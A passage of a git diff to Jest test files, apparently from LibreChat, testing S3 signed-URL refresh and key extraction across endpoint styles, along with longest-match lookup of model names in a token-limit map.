expect(result).toBeUndefined(); + }); + + it('should handle errors gracefully', async () => { + const currentURL = 'https://s3.amazonaws.com/test-bucket/images/user123/file.jpg'; + getSignedUrl.mockRejectedValue(new Error('Failed')); + + const result = await getNewS3URL(currentURL); + + expect(result).toBeUndefined(); + expect(logger.error).toHaveBeenCalledWith('Error getting new S3 URL:', expect.any(Error)); + }); + + it('should construct GetObjectCommand with correct key (no bucket name duplication)', async () => { + const currentURL = + 'https://s3.amazonaws.com/my-bucket/images/user123/file.jpg?X-Amz-Signature=old'; + getSignedUrl.mockResolvedValue( + 'https://s3.amazonaws.com/test-bucket/images/user123/file.jpg?signature=new', + ); + + await getNewS3URL(currentURL); + + expect(GetObjectCommand).toHaveBeenCalledWith( + expect.objectContaining({ Key: 'images/user123/file.jpg' }), + ); + }); + }); + + describe('refreshS3FileUrls', () => { + it('should refresh expired URLs for multiple files', async () => { + const now = new Date(); + const past = new Date(now.getTime() - 3600 * 1000); + const dateStr = past + .toISOString() + .replace(/[-:]/g, '') + .replace(/\.\d{3}/, ''); + + const files = [ + { + file_id: 'file1', + source: FileSources.s3, + filepath: `https://s3.amazonaws.com/bucket/images/user123/file1.jpg?X-Amz-Signature=abc&X-Amz-Date=${dateStr}&X-Amz-Expires=60`, + }, + { + file_id: 'file2', + source: FileSources.s3, + filepath: `https://s3.amazonaws.com/bucket/images/user123/file2.jpg?X-Amz-Signature=def&X-Amz-Date=${dateStr}&X-Amz-Expires=60`, + }, + ]; + + const newURL1 = 'https://s3.amazonaws.com/bucket/images/user123/file1.jpg?signature=new1'; + const newURL2 = 'https://s3.amazonaws.com/bucket/images/user123/file2.jpg?signature=new2'; + + getSignedUrl.mockResolvedValueOnce(newURL1).mockResolvedValueOnce(newURL2); + + const mockBatchUpdate = jest.fn().mockResolvedValue(); + + const result = await refreshS3FileUrls(files, mockBatchUpdate, 60); + + expect(result[0].filepath).toBe(newURL1); + expect(result[1].filepath).toBe(newURL2); + expect(mockBatchUpdate).toHaveBeenCalledWith([ + { file_id: 'file1', filepath: newURL1 }, + { file_id: 'file2', filepath: newURL2 }, + ]); + }); + + it('should skip non-S3 files', async () => { + const files = [ + { + file_id: 'file1', + source: 'local', + filepath: '/local/path/file.jpg', + }, + ]; + + const mockBatchUpdate = jest.fn(); + + const result = await refreshS3FileUrls(files, mockBatchUpdate); + + expect(result).toEqual(files); + expect(mockBatchUpdate).not.toHaveBeenCalled(); + }); + + it('should handle empty or invalid input', async () => { + const mockBatchUpdate = jest.fn(); + + const result1 = await refreshS3FileUrls(null, mockBatchUpdate); + expect(result1).toBe(null); + + const result2 = await refreshS3FileUrls([], mockBatchUpdate); + expect(result2).toEqual([]); + + expect(mockBatchUpdate).not.toHaveBeenCalled(); + }); + + it('should handle errors for individual files gracefully', async () => { + const now = new Date(); + const past = new Date(now.getTime() - 3600 * 1000); + const dateStr = past + .toISOString() + .replace(/[-:]/g, '') + .replace(/\.\d{3}/, ''); + + const files = [ + { + file_id: 'file1', + source: FileSources.s3, + filepath: `https://s3.amazonaws.com/bucket/images/user123/file1.jpg?X-Amz-Signature=abc&X-Amz-Date=${dateStr}&X-Amz-Expires=60`, + }, + ]; + + getSignedUrl.mockRejectedValue(new Error('Failed to refresh')); + const mockBatchUpdate = jest.fn(); + + await refreshS3FileUrls(files, mockBatchUpdate, 60); + + expect(logger.error).toHaveBeenCalledWith('Error getting new S3 URL:', expect.any(Error)); + expect(mockBatchUpdate).not.toHaveBeenCalled(); + }); + }); + + describe('refreshS3Url', () => { + it('should refresh an expired S3 URL', async () => { + const now = new Date(); + const past = new Date(now.getTime() - 3600 * 1000); + const dateStr = past + .toISOString() + .replace(/[-:]/g, '') + .replace(/\.\d{3}/, ''); + + const fileObj = { + source: FileSources.s3, + filepath: `https://s3.amazonaws.com/bucket/images/user123/file.jpg?X-Amz-Signature=abc&X-Amz-Date=${dateStr}&X-Amz-Expires=60`, + }; + + const newURL = 'https://s3.amazonaws.com/bucket/images/user123/file.jpg?signature=new'; + getSignedUrl.mockResolvedValue(newURL); + + const result = await refreshS3Url(fileObj, 60); + + expect(result).toBe(newURL); + }); + + it('should return original URL if not expired', async () => { + const fileObj = { + source: FileSources.s3, + filepath: 'https://example.com/proxy/file.jpg', + }; + + const result = await refreshS3Url(fileObj, 3600); + + expect(result).toBe(fileObj.filepath); + expect(getSignedUrl).not.toHaveBeenCalled(); + }); + + it('should return empty string for null input', async () => { + const result = await refreshS3Url(null); + expect(result).toBe(''); + }); + + it('should return original URL for non-S3 files', async () => { + const fileObj = { + source: 'local', + filepath: '/local/path/file.jpg', + }; + + const result = await refreshS3Url(fileObj); + + expect(result).toBe(fileObj.filepath); + }); + + it('should handle errors and return original URL', async () => { + const now = new Date(); + const past = new Date(now.getTime() - 3600 * 1000); + const dateStr = past + .toISOString() + .replace(/[-:]/g, '') + .replace(/\.\d{3}/, ''); + + const fileObj = { + source: FileSources.s3, + filepath: `https://s3.amazonaws.com/bucket/images/user123/file.jpg?X-Amz-Signature=abc&X-Amz-Date=${dateStr}&X-Amz-Expires=60`, + }; + + getSignedUrl.mockRejectedValue(new Error('Refresh failed')); + + const result = await refreshS3Url(fileObj, 60); + + expect(result).toBe(fileObj.filepath); + expect(logger.error).toHaveBeenCalled(); + }); + }); + + describe('extractKeyFromS3Url', () => { + it('should extract key from a full S3 URL', () => { + const url = 'https://s3.amazonaws.com/test-bucket/images/user123/file.jpg'; + const result = extractKeyFromS3Url(url); + expect(result).toBe('images/user123/file.jpg'); + }); + + it('should extract key from a signed S3 URL with query parameters', () => { + const url = + 'https://s3.amazonaws.com/test-bucket/documents/user456/report.pdf?X-Amz-Signature=abc123&X-Amz-Date=20260107'; + const result = extractKeyFromS3Url(url); + expect(result).toBe('documents/user456/report.pdf'); + }); + + it('should extract key from S3 URL with different domain format', () => { + const url = 'https://test-bucket.s3.amazonaws.com/uploads/user789/image.png'; + const result = extractKeyFromS3Url(url); + expect(result).toBe('uploads/user789/image.png'); + }); + + it('should return key as-is if already properly formatted (3+ parts, no http)', () => { + const key = 'images/user123/file.jpg'; + const result = extractKeyFromS3Url(key); + expect(result).toBe('images/user123/file.jpg'); + }); + + it('should handle key with leading slash by removing it', () => { + const key = '/images/user123/file.jpg'; + const result = extractKeyFromS3Url(key); + expect(result).toBe('images/user123/file.jpg'); + }); + + it('should handle simple key without slashes', () => { + const key = 'simple-file.txt'; + const result = extractKeyFromS3Url(key); + expect(result).toBe('simple-file.txt'); + }); + + it('should handle key with only two parts', () => { + const key = 'folder/file.txt'; + const result = extractKeyFromS3Url(key); + expect(result).toBe('folder/file.txt'); + }); + + it('should throw error for empty input', () => { + expect(() => extractKeyFromS3Url('')).toThrow('Invalid input: URL or key is empty'); + }); + + it('should throw error for null input', () => { + expect(() => extractKeyFromS3Url(null)).toThrow('Invalid input: URL or key is empty'); + }); + + it('should throw error for undefined input', () => { + expect(() => extractKeyFromS3Url(undefined)).toThrow('Invalid input: URL or key is empty'); + }); + + it('should handle URLs with encoded characters', () => { + const url = 'https://s3.amazonaws.com/test-bucket/images/user123/my%20file%20name.jpg'; + const result = extractKeyFromS3Url(url); + expect(result).toBe('images/user123/my%20file%20name.jpg'); + }); + + it('should handle deep nested paths', () => { + const url = 'https://s3.amazonaws.com/bucket/a/b/c/d/e/f/file.jpg'; + const result = extractKeyFromS3Url(url); + expect(result).toBe('a/b/c/d/e/f/file.jpg'); + }); + + it('should log debug message when extracting from URL', () => { + const url = 'https://s3.amazonaws.com/bucket/images/user123/file.jpg'; + extractKeyFromS3Url(url); + expect(logger.debug).toHaveBeenCalledWith( + expect.stringContaining('[extractKeyFromS3Url] fileUrlOrKey:'), + ); + }); + + it('should log fallback debug message for non-URL input', () => { + const key = 'simple-file.txt'; + extractKeyFromS3Url(key); + expect(logger.debug).toHaveBeenCalledWith( + expect.stringContaining('[extractKeyFromS3Url] FALLBACK'), + ); + }); + + it('should handle valid URLs that contain only a bucket', () => { + const url = 'https://s3.amazonaws.com/test-bucket/'; + const result = extractKeyFromS3Url(url); + expect(logger.warn).toHaveBeenCalledWith( + expect.stringContaining( + '[extractKeyFromS3Url] Extracted key is empty after removing bucket name from URL: https://s3.amazonaws.com/test-bucket/', + ), + ); + expect(result).toBe(''); + }); + + it('should handle invalid URLs that contain only a bucket', () => { + const url = 'https://s3.amazonaws.com/test-bucket'; + const result = extractKeyFromS3Url(url); + expect(logger.warn).toHaveBeenCalledWith( + expect.stringContaining( + '[extractKeyFromS3Url] Unable to extract key from path-style URL: https://s3.amazonaws.com/test-bucket', + ), + ); + expect(result).toBe(''); + }); + + // https://docs.aws.amazon.com/AmazonS3/latest/userguide/VirtualHosting.html + + // Path-style requests + // https://docs.aws.amazon.com/AmazonS3/latest/userguide/VirtualHosting.html#path-style-access + // https://s3.region-code.amazonaws.com/bucket-name/key-name + it('should handle formatted according to Path-style regional endpoint', () => { + const url = 'https://s3.us-west-2.amazonaws.com/amzn-s3-demo-bucket1/dogs/puppy.jpg'; + const result = extractKeyFromS3Url(url); + expect(result).toBe('dogs/puppy.jpg'); + }); + + // virtual host style + // https://docs.aws.amazon.com/AmazonS3/latest/userguide/VirtualHosting.html#virtual-hosted-style-access + // https://bucket-name.s3.region-code.amazonaws.com/key-name + it('should handle formatted according to Virtual-hosted–style Regional endpoint', () => { + const url = 'https://amzn-s3-demo-bucket1.s3.us-west-2.amazonaws.com/dogs/puppy.png'; + const result = extractKeyFromS3Url(url); + expect(result).toBe('dogs/puppy.png'); + }); + + // Legacy endpoints + // https://docs.aws.amazon.com/AmazonS3/latest/userguide/VirtualHosting.html#VirtualHostingBackwardsCompatibility + + // s3‐Region + // https://bucket-name.s3-region-code.amazonaws.com + it('should handle formatted according to s3‐Region', () => { + const url = 'https://amzn-s3-demo-bucket1.s3-us-west-2.amazonaws.com/puppy.png'; + const result = extractKeyFromS3Url(url); + expect(result).toBe('puppy.png'); + + const testcase2 = 'https://amzn-s3-demo-bucket1.s3-us-west-2.amazonaws.com/cats/kitten.png'; + const result2 = extractKeyFromS3Url(testcase2); + expect(result2).toBe('cats/kitten.png'); + }); + + // Legacy global endpoint + // bucket-name.s3.amazonaws.com + it('should handle formatted according to Legacy global endpoint', () => { + const url = 'https://amzn-s3-demo-bucket1.s3.amazonaws.com/dogs/puppy.png'; + const result = extractKeyFromS3Url(url); + expect(result).toBe('dogs/puppy.png'); + }); + + it('should handle malformed URL and log error', () => { + const malformedUrl = 'https://invalid url with spaces.com/key'; + const result = extractKeyFromS3Url(malformedUrl); + + expect(logger.error).toHaveBeenCalledWith( + expect.stringContaining('[extractKeyFromS3Url] Error parsing URL:'), + ); + expect(logger.error).toHaveBeenCalledWith(expect.stringContaining(malformedUrl)); + + expect(result).toBe(malformedUrl); + }); + + it('should return empty string for regional path-style URL with only bucket (no key)', () => { + const url = 'https://s3.us-west-2.amazonaws.com/my-bucket'; + const result = extractKeyFromS3Url(url); + expect(result).toBe(''); + expect(logger.warn).toHaveBeenCalledWith( + expect.stringContaining('[extractKeyFromS3Url] Unable to extract key from path-style URL:'), + ); + }); + + it('should not log error when given a plain S3 key (non-URL input)', () => { + extractKeyFromS3Url('images/user123/file.jpg'); + expect(logger.error).not.toHaveBeenCalled(); + }); + + it('should strip bucket from custom endpoint URLs (MinIO, R2, etc.) using bucketName', () => { + // bucketName is the module-level const 'test-bucket', set before require at top of file + expect( + extractKeyFromS3Url('https://minio.example.com/test-bucket/images/user123/file.jpg'), + ).toBe('images/user123/file.jpg'); + expect( + extractKeyFromS3Url( + 'https://abc123.r2.cloudflarestorage.com/test-bucket/images/user123/avatar.png', + ), + ).toBe('images/user123/avatar.png'); + }); + + it('should use endpoint base path when AWS_ENDPOINT_URL and AWS_FORCE_PATH_STYLE are set', () => { + process.env.AWS_BUCKET_NAME = 'test-bucket'; + process.env.AWS_ENDPOINT_URL = 'https://minio.example.com'; + process.env.AWS_FORCE_PATH_STYLE = 'true'; + jest.resetModules(); + const { extractKeyFromS3Url: fn } = require('~/server/services/Files/S3/crud'); + + expect(fn('https://minio.example.com/test-bucket/images/user123/file.jpg')).toBe( + 'images/user123/file.jpg', + ); + + delete process.env.AWS_ENDPOINT_URL; + delete process.env.AWS_FORCE_PATH_STYLE; + }); + + it('should handle endpoint with a base path', () => { + process.env.AWS_BUCKET_NAME = 'test-bucket'; + process.env.AWS_ENDPOINT_URL = 'https://example.com/storage/'; + process.env.AWS_FORCE_PATH_STYLE = 'true'; + jest.resetModules(); + const { extractKeyFromS3Url: fn } = require('~/server/services/Files/S3/crud'); + + expect(fn('https://example.com/storage/test-bucket/images/user123/file.jpg')).toBe( + 'images/user123/file.jpg', + ); + + delete process.env.AWS_ENDPOINT_URL; + delete process.env.AWS_FORCE_PATH_STYLE; + }); + }); +}); diff --git a/api/utils/tokens.spec.js b/api/utils/tokens.spec.js index 3336a0f82d..6cecdb95c8 100644 --- a/api/utils/tokens.spec.js +++ b/api/utils/tokens.spec.js @@ -1,3 +1,4 @@ +/** Note: No hard-coded values should be used in this file. */ const { EModelEndpoint } = require('librechat-data-provider'); const { maxTokensMap, @@ -199,6 +200,39 @@ describe('getModelMaxTokens', () => { ); }); + test('should return correct tokens for gpt-5.3 matches', () => { + expect(getModelMaxTokens('gpt-5.3')).toBe(maxTokensMap[EModelEndpoint.openAI]['gpt-5.3']); + expect(getModelMaxTokens('gpt-5.3-codex')).toBe(maxTokensMap[EModelEndpoint.openAI]['gpt-5.3']); + expect(getModelMaxTokens('openai/gpt-5.3')).toBe( + maxTokensMap[EModelEndpoint.openAI]['gpt-5.3'], + ); + expect(getModelMaxTokens('gpt-5.3-2025-03-01')).toBe( + maxTokensMap[EModelEndpoint.openAI]['gpt-5.3'], + ); + expect(getModelMaxTokens('gpt-5.3-preview')).toBe( + maxTokensMap[EModelEndpoint.openAI]['gpt-5.3'], + ); + }); + + test('should return correct tokens for gpt-5.4 matches', () => { + expect(getModelMaxTokens('gpt-5.4')).toBe(maxTokensMap[EModelEndpoint.openAI]['gpt-5.4']); + expect(getModelMaxTokens('gpt-5.4-thinking')).toBe( + maxTokensMap[EModelEndpoint.openAI]['gpt-5.4'], + ); + expect(getModelMaxTokens('openai/gpt-5.4')).toBe( + maxTokensMap[EModelEndpoint.openAI]['gpt-5.4'], + ); + }); + + test('should return correct tokens for gpt-5.4-pro matches', () => { + expect(getModelMaxTokens('gpt-5.4-pro')).toBe( + maxTokensMap[EModelEndpoint.openAI]['gpt-5.4-pro'], + ); + expect(getModelMaxTokens('openai/gpt-5.4-pro')).toBe( + maxTokensMap[EModelEndpoint.openAI]['gpt-5.4-pro'], + ); + }); + test('should return correct tokens for Anthropic models', () => { const models = [ 'claude-2.1', @@ -236,16 +270,6 @@ describe('getModelMaxTokens', () => { }); }); - // Tests for Google models - test('should return correct tokens for exact match - Google models', () => { - expect(getModelMaxTokens('text-bison-32k', EModelEndpoint.google)).toBe( - maxTokensMap[EModelEndpoint.google]['text-bison-32k'], - ); - expect(getModelMaxTokens('codechat-bison-32k', EModelEndpoint.google)).toBe( - maxTokensMap[EModelEndpoint.google]['codechat-bison-32k'], - ); - }); - test('should return undefined for no match - Google models', () => { expect(getModelMaxTokens('unknown-google-model', EModelEndpoint.google)).toBeUndefined(); }); @@ -278,6 +302,12 @@ describe('getModelMaxTokens', () => { expect(getModelMaxTokens('gemini-3', EModelEndpoint.google)).toBe( maxTokensMap[EModelEndpoint.google]['gemini-3'], ); + expect(getModelMaxTokens('gemini-3.1-pro-preview', EModelEndpoint.google)).toBe( + maxTokensMap[EModelEndpoint.google]['gemini-3.1'], + ); + expect(getModelMaxTokens('gemini-3.1-pro-preview-customtools', EModelEndpoint.google)).toBe( + maxTokensMap[EModelEndpoint.google]['gemini-3.1'], + ); expect(getModelMaxTokens('gemini-2.5-pro', EModelEndpoint.google)).toBe( maxTokensMap[EModelEndpoint.google]['gemini-2.5-pro'], ); @@ -296,12 +326,6 @@ describe('getModelMaxTokens', () => { expect(getModelMaxTokens('gemini-pro', EModelEndpoint.google)).toBe( maxTokensMap[EModelEndpoint.google]['gemini'], ); - expect(getModelMaxTokens('code-', EModelEndpoint.google)).toBe( - maxTokensMap[EModelEndpoint.google]['code-'], - ); - expect(getModelMaxTokens('chat-', EModelEndpoint.google)).toBe( - maxTokensMap[EModelEndpoint.google]['chat-'], - ); }); test('should return correct tokens for partial match - Cohere models', () => { @@ -485,7 +509,19 @@ describe('getModelMaxTokens', () => { test('should return correct max output tokens for GPT-5 models', () => { const { getModelMaxOutputTokens } = require('@librechat/api'); - ['gpt-5', 'gpt-5-mini', 'gpt-5-nano', 'gpt-5-pro'].forEach((model) => { + const gpt5Models = [ + 'gpt-5', + 'gpt-5.1', + 'gpt-5.2', + 'gpt-5.3', + 'gpt-5.4', + 'gpt-5.4-pro', + 'gpt-5-mini', + 'gpt-5-nano', + 'gpt-5-pro', + 'gpt-5.2-pro', + ]; + for (const model of gpt5Models) { expect(getModelMaxOutputTokens(model)).toBe(maxOutputTokensMap[EModelEndpoint.openAI][model]); expect(getModelMaxOutputTokens(model, EModelEndpoint.openAI)).toBe( maxOutputTokensMap[EModelEndpoint.openAI][model], @@ -493,7 +529,7 @@ describe('getModelMaxTokens', () => { expect(getModelMaxOutputTokens(model, EModelEndpoint.azureOpenAI)).toBe( maxOutputTokensMap[EModelEndpoint.azureOpenAI][model], ); - }); + } }); test('should return correct max output tokens for GPT-OSS models', () => { @@ -510,6 +546,184 @@ describe('getModelMaxTokens', () => { }); }); +describe('findMatchingPattern - longest match wins', () => { + test('should prefer longer matching key over shorter cross-provider pattern', () => { + const result = findMatchingPattern( + 'gpt-5.2-chat-2025-12-11', + maxTokensMap[EModelEndpoint.openAI], + ); + expect(result).toBe('gpt-5.2'); + }); + + test('should match gpt-5.2 tokens for date-suffixed chat variant', () => { + expect(getModelMaxTokens('gpt-5.2-chat-2025-12-11')).toBe( + maxTokensMap[EModelEndpoint.openAI]['gpt-5.2'], + ); + }); + + test('should match gpt-5.2-pro over shorter patterns', () => { + expect(getModelMaxTokens('gpt-5.2-pro-chat-2025-12-11')).toBe( + maxTokensMap[EModelEndpoint.openAI]['gpt-5.2-pro'], + ); + }); + + test('should match gpt-5-mini over gpt-5 for mini variants', () => { + expect(getModelMaxTokens('gpt-5-mini-chat-2025-01-01')).toBe( + maxTokensMap[EModelEndpoint.openAI]['gpt-5-mini'], + ); + }); + + test('should prefer gpt-4-1106 over gpt-4 for versioned model names', () => { + const result = findMatchingPattern('gpt-4-1106-preview', maxTokensMap[EModelEndpoint.openAI]); + expect(result).toBe('gpt-4-1106'); + }); + + test('should prefer gpt-4-32k-0613 over gpt-4-32k for exact versioned names', () => { + const result = findMatchingPattern('gpt-4-32k-0613', maxTokensMap[EModelEndpoint.openAI]); + expect(result).toBe('gpt-4-32k-0613'); + }); + + test('should prefer claude-3-5-sonnet over claude-3', () => { + const result = findMatchingPattern( + 'claude-3-5-sonnet-20241022', + maxTokensMap[EModelEndpoint.anthropic], + ); + expect(result).toBe('claude-3-5-sonnet'); + }); + + test('should prefer gemini-2.0-flash-lite over gemini-2.0-flash', () => { + const result = findMatchingPattern( + 'gemini-2.0-flash-lite-preview', + maxTokensMap[EModelEndpoint.google], + ); + expect(result).toBe('gemini-2.0-flash-lite'); + }); +}); + +describe('findMatchingPattern - bestLength selection', () => { + test('should return the longest matching key when multiple keys match', () => { + const tokensMap = { short: 100, 'short-med': 200, 'short-med-long': 300 }; + expect(findMatchingPattern('short-med-long-extra', tokensMap)).toBe('short-med-long'); + }); + + test('should return the longest match regardless of key insertion order', () => { + const tokensMap = { 'a-b-c': 300, a: 100, 'a-b': 200 }; + expect(findMatchingPattern('a-b-c-d', tokensMap)).toBe('a-b-c'); + }); + + test('should return null when no key matches', () => { + const tokensMap = { alpha: 100, beta: 200 }; + expect(findMatchingPattern('gamma-delta', tokensMap)).toBeNull(); + }); + + test('should return the single matching key when only one matches', () => { + const tokensMap = { alpha: 100, beta: 200, gamma: 300 }; + expect(findMatchingPattern('beta-extended', tokensMap)).toBe('beta'); + }); + + test('should match case-insensitively against model name', () => { + const tokensMap = { 'gpt-5': 400000 }; + expect(findMatchingPattern('GPT-5-turbo', tokensMap)).toBe('gpt-5'); + }); + + test('should select the longest key among overlapping substring matches', () => { + const tokensMap = { 'gpt-': 100, 'gpt-5': 200, 'gpt-5.2': 300, 'gpt-5.2-pro': 400 }; + expect(findMatchingPattern('gpt-5.2-pro-2025-01-01', tokensMap)).toBe('gpt-5.2-pro'); + expect(findMatchingPattern('gpt-5.2-chat-2025-01-01', tokensMap)).toBe('gpt-5.2'); + expect(findMatchingPattern('gpt-5.1-preview', tokensMap)).toBe('gpt-5'); + expect(findMatchingPattern('gpt-unknown', tokensMap)).toBe('gpt-'); + }); + + test('should not be confused by a short key that appears later in the model name', () => { + const tokensMap = { 'model-v2': 200, v2: 100 }; + expect(findMatchingPattern('model-v2-extended', tokensMap)).toBe('model-v2'); + }); + + test('should handle exact-length match as the best match', () => { + const tokensMap = { 'exact-model': 500, exact: 100 }; + expect(findMatchingPattern('exact-model', tokensMap)).toBe('exact-model'); + }); + + test('should return null for empty model name', () => { + expect(findMatchingPattern('', { 'gpt-5': 400000 })).toBeNull(); + }); + + test('should prefer last-defined key on same-length ties', () => { + const tokensMap = { 'aa-bb': 100, 'cc-dd': 200 }; + // model name contains both 5-char keys; last-defined wins in reverse iteration + expect(findMatchingPattern('aa-bb-cc-dd', tokensMap)).toBe('cc-dd'); + }); + + test('longest match beats short cross-provider pattern even when both present', () => { + const tokensMap = { 'gpt-5.2': 400000, 'chat-': 8187 }; + expect(findMatchingPattern('gpt-5.2-chat-2025-12-11', tokensMap)).toBe('gpt-5.2'); + }); + + test('should match case-insensitively against keys', () => { + const tokensMap = { 'GPT-5': 400000 }; + expect(findMatchingPattern('gpt-5-turbo', tokensMap)).toBe('GPT-5'); + }); +}); + +describe('findMatchingPattern - iteration performance', () => { + let includesSpy; + + beforeEach(() => { + includesSpy = jest.spyOn(String.prototype, 'includes'); + }); + + afterEach(() => { + includesSpy.mockRestore(); + }); + + test('exact match early-exits with minimal includes() checks', () => { + const openAIMap = maxTokensMap[EModelEndpoint.openAI]; + const keys = Object.keys(openAIMap); + const lastKey = keys[keys.length - 1]; + includesSpy.mockClear(); + const result = findMatchingPattern(lastKey, openAIMap); + const exactCalls = includesSpy.mock.calls.length; + + expect(result).toBe(lastKey); + expect(exactCalls).toBe(1); + }); + + test('bestLength check skips includes() for shorter keys after a long match', () => { + const openAIMap = maxTokensMap[EModelEndpoint.openAI]; + includesSpy.mockClear(); + findMatchingPattern('gpt-3.5-turbo-0301-test', openAIMap); + const longKeyCalls = includesSpy.mock.calls.length; + + includesSpy.mockClear(); + findMatchingPattern('gpt-5.3-chat-latest', openAIMap); + const shortKeyCalls = includesSpy.mock.calls.length; + + // gpt-3.5-turbo-0301 (20 chars) matches early, then bestLength prunes most keys + // gpt-5.3 (7 chars) is short, so fewer keys are pruned by the length check + expect(longKeyCalls).toBeLessThan(shortKeyCalls); + }); + + test('last-defined keys are checked first in reverse iteration', () => { + const tokensMap = { first: 100, second: 200, third: 300 }; + includesSpy.mockClear(); + const result = findMatchingPattern('third', tokensMap); + const calls = includesSpy.mock.calls.length; + + // 'third' is last key, found on first reverse check, exact match exits immediately + expect(result).toBe('third'); + expect(calls).toBe(1); + }); +}); + +describe('deprecated PaLM2/Codey model removal', () => { + test('deprecated PaLM2/Codey models no longer have token entries', () => { + expect(getModelMaxTokens('text-bison-32k', EModelEndpoint.google)).toBeUndefined(); + expect(getModelMaxTokens('codechat-bison-32k', EModelEndpoint.google)).toBeUndefined(); + expect(getModelMaxTokens('code-bison', EModelEndpoint.google)).toBeUndefined(); + expect(getModelMaxTokens('chat-bison', EModelEndpoint.google)).toBeUndefined(); + }); +}); + describe('matchModelName', () => { it('should return the exact model name if it exists in maxTokensMap', () => { expect(matchModelName('gpt-4-32k-0613')).toBe('gpt-4-32k-0613'); @@ -605,10 +819,16 @@ describe('matchModelName', () => { expect(matchModelName('gpt-5-pro-2025-01-30-0130')).toBe('gpt-5-pro'); }); - // Tests for Google models - it('should return the exact model name if it exists in maxTokensMap - Google models', () => { - expect(matchModelName('text-bison-32k', EModelEndpoint.google)).toBe('text-bison-32k'); - expect(matchModelName('codechat-bison-32k', EModelEndpoint.google)).toBe('codechat-bison-32k'); + it('should return the closest matching key for gpt-5.3 matches', () => { + expect(matchModelName('openai/gpt-5.3')).toBe('gpt-5.3'); + expect(matchModelName('gpt-5.3-codex')).toBe('gpt-5.3'); + expect(matchModelName('gpt-5.3-2025-03-01')).toBe('gpt-5.3'); + }); + + it('should return the closest matching key for gpt-5.4 matches', () => { + expect(matchModelName('openai/gpt-5.4')).toBe('gpt-5.4'); + expect(matchModelName('gpt-5.4-thinking')).toBe('gpt-5.4'); + expect(matchModelName('gpt-5.4-pro')).toBe('gpt-5.4-pro'); }); it('should return the input model name if no match is found - Google models', () => { @@ -616,51 +836,50 @@ describe('matchModelName', () => { 'unknown-google-model', ); }); - - it('should return the closest matching key for partial matches - Google models', () => { - expect(matchModelName('code-', EModelEndpoint.google)).toBe('code-'); - expect(matchModelName('chat-', EModelEndpoint.google)).toBe('chat-'); - }); }); describe('Meta Models Tests', () => { describe('getModelMaxTokens', () => { test('should return correct tokens for LLaMa 2 models', () => { - expect(getModelMaxTokens('llama2')).toBe(4000); - expect(getModelMaxTokens('llama2.70b')).toBe(4000); - expect(getModelMaxTokens('llama2-13b')).toBe(4000); - expect(getModelMaxTokens('llama2-70b')).toBe(4000); + const llama2Tokens = maxTokensMap[EModelEndpoint.openAI]['llama2']; + expect(getModelMaxTokens('llama2')).toBe(llama2Tokens); + expect(getModelMaxTokens('llama2.70b')).toBe(llama2Tokens); + expect(getModelMaxTokens('llama2-13b')).toBe(llama2Tokens); + expect(getModelMaxTokens('llama2-70b')).toBe(llama2Tokens); }); test('should return correct tokens for LLaMa 3 models', () => { - expect(getModelMaxTokens('llama3')).toBe(8000); - expect(getModelMaxTokens('llama3.8b')).toBe(8000); - expect(getModelMaxTokens('llama3.70b')).toBe(8000); - expect(getModelMaxTokens('llama3-8b')).toBe(8000); - expect(getModelMaxTokens('llama3-70b')).toBe(8000); + const llama3Tokens = maxTokensMap[EModelEndpoint.openAI]['llama3']; + expect(getModelMaxTokens('llama3')).toBe(llama3Tokens); + expect(getModelMaxTokens('llama3.8b')).toBe(llama3Tokens); + expect(getModelMaxTokens('llama3.70b')).toBe(llama3Tokens); + expect(getModelMaxTokens('llama3-8b')).toBe(llama3Tokens); + expect(getModelMaxTokens('llama3-70b')).toBe(llama3Tokens); }); test('should return correct tokens for LLaMa 3.1 models', () => { - expect(getModelMaxTokens('llama3.1:8b')).toBe(127500); - expect(getModelMaxTokens('llama3.1:70b')).toBe(127500); - expect(getModelMaxTokens('llama3.1:405b')).toBe(127500); - expect(getModelMaxTokens('llama3-1-8b')).toBe(127500); - expect(getModelMaxTokens('llama3-1-70b')).toBe(127500); - expect(getModelMaxTokens('llama3-1-405b')).toBe(127500); + const llama31Tokens = maxTokensMap[EModelEndpoint.openAI]['llama3.1:8b']; + expect(getModelMaxTokens('llama3.1:8b')).toBe(llama31Tokens); + expect(getModelMaxTokens('llama3.1:70b')).toBe(llama31Tokens); + expect(getModelMaxTokens('llama3.1:405b')).toBe(llama31Tokens); + expect(getModelMaxTokens('llama3-1-8b')).toBe(llama31Tokens); + expect(getModelMaxTokens('llama3-1-70b')).toBe(llama31Tokens); + expect(getModelMaxTokens('llama3-1-405b')).toBe(llama31Tokens); }); test('should handle partial matches for Meta models', () => { - // Test with full model names - expect(getModelMaxTokens('meta/llama3.1:405b')).toBe(127500); - expect(getModelMaxTokens('meta/llama3.1:70b')).toBe(127500); - expect(getModelMaxTokens('meta/llama3.1:8b')).toBe(127500); - expect(getModelMaxTokens('meta/llama3-1-8b')).toBe(127500); + const llama31Tokens = maxTokensMap[EModelEndpoint.openAI]['llama3.1:8b']; + const llama3Tokens = maxTokensMap[EModelEndpoint.openAI]['llama3']; + const llama2Tokens = maxTokensMap[EModelEndpoint.openAI]['llama2']; + expect(getModelMaxTokens('meta/llama3.1:405b')).toBe(llama31Tokens); + expect(getModelMaxTokens('meta/llama3.1:70b')).toBe(llama31Tokens); + expect(getModelMaxTokens('meta/llama3.1:8b')).toBe(llama31Tokens); + expect(getModelMaxTokens('meta/llama3-1-8b')).toBe(llama31Tokens); - // Test base versions - expect(getModelMaxTokens('meta/llama3.1')).toBe(127500); - expect(getModelMaxTokens('meta/llama3-1')).toBe(127500); - expect(getModelMaxTokens('meta/llama3')).toBe(8000); - expect(getModelMaxTokens('meta/llama2')).toBe(4000); + expect(getModelMaxTokens('meta/llama3.1')).toBe(llama31Tokens); + expect(getModelMaxTokens('meta/llama3-1')).toBe(llama31Tokens); + expect(getModelMaxTokens('meta/llama3')).toBe(llama3Tokens); + expect(getModelMaxTokens('meta/llama2')).toBe(llama2Tokens); }); test('should match Deepseek model variations', () => { @@ -678,18 +897,33 @@ describe('Meta Models Tests', () => { ); }); - test('should return 128000 context tokens for all DeepSeek models', () => { - expect(getModelMaxTokens('deepseek-chat')).toBe(128000); - expect(getModelMaxTokens('deepseek-reasoner')).toBe(128000); - expect(getModelMaxTokens('deepseek-r1')).toBe(128000); - expect(getModelMaxTokens('deepseek-v3')).toBe(128000); - expect(getModelMaxTokens('deepseek.r1')).toBe(128000); + test('should return correct context tokens for all DeepSeek models', () => { + const deepseekChatTokens = maxTokensMap[EModelEndpoint.openAI]['deepseek-chat']; + expect(getModelMaxTokens('deepseek-chat')).toBe(deepseekChatTokens); + expect(getModelMaxTokens('deepseek-reasoner')).toBe( + 